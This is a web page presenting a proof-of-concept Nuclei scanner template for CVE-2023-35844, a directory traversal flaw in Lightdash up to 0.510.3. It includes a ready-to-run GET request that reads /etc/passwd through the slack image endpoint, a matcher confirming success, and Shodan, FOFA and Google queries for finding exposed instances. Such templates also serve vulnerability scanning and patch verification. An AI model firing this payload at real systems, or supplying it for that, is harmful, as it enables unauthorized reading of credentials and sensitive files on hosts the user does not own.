CVE-2023-35844: Lightdash version <= 0.510.3 Arbitrary File Read

2025-08-01 Lightdash PoC Public

Description

packages/backend/src/routers in Lightdash before 0.510.3

has insecure file endpoints, e.g., they allow .. directory

traversal and do not ensure that an intended file extension

(.csv or .png) is used.

PoC

id: CVE-2023-35844

info:
  name: Lightdash version <= 0.510.3 Arbitrary File Read
  author: dwisiswant0
  severity: high
  description: |
    packages/backend/src/routers in Lightdash before 0.510.3
    has insecure file endpoints, e.g., they allow .. directory
    traversal and do not ensure that an intended file extension
    (.csv or .png) is used.
  impact: |
    The vulnerability can lead to unauthorized access to sensitive information, potentially exposing user credentials, database credentials, and other confidential data.
  remediation: |
    Upgrade Lightdash to a version higher than 0.510.3 to mitigate the vulnerability.
  reference:
    - https://advisory.dw1.io/59
    - https://nvd.nist.gov/vuln/detail/CVE-2023-35844
    - https://github.com/lightdash/lightdash/commit/fcc808c84c2cc3afb343063e32a49440d32a553c
    - https://github.com/lightdash/lightdash/compare/0.510.2...0.510.3
    - https://github.com/lightdash/lightdash/pull/5090
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-35844
    cwe-id: CWE-22
    epss-score: 0.06344
    epss-percentile: 0.93276
    cpe: cpe:2.3:a:lightdash:lightdash:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: lightdash
    product: lightdash
    shodan-query:
      - title:"Lightdash"
      - http.title:"lightdash"
    fofa-query: title="lightdash"
    google-query: intitle:"lightdash"
  tags: cve,cve2023,lightdash,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/slack/image/slack-image{{repeat('%2F..', 3)}}%2Fetc%2Fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a150cd90046e29d91155633a7032b2dfebc4c3d26639098335449032f2a8bbe9022100c8c534d25ceac899cb5814a5bc3a0286736e062c97aa2b0cfbf71f8566f467af:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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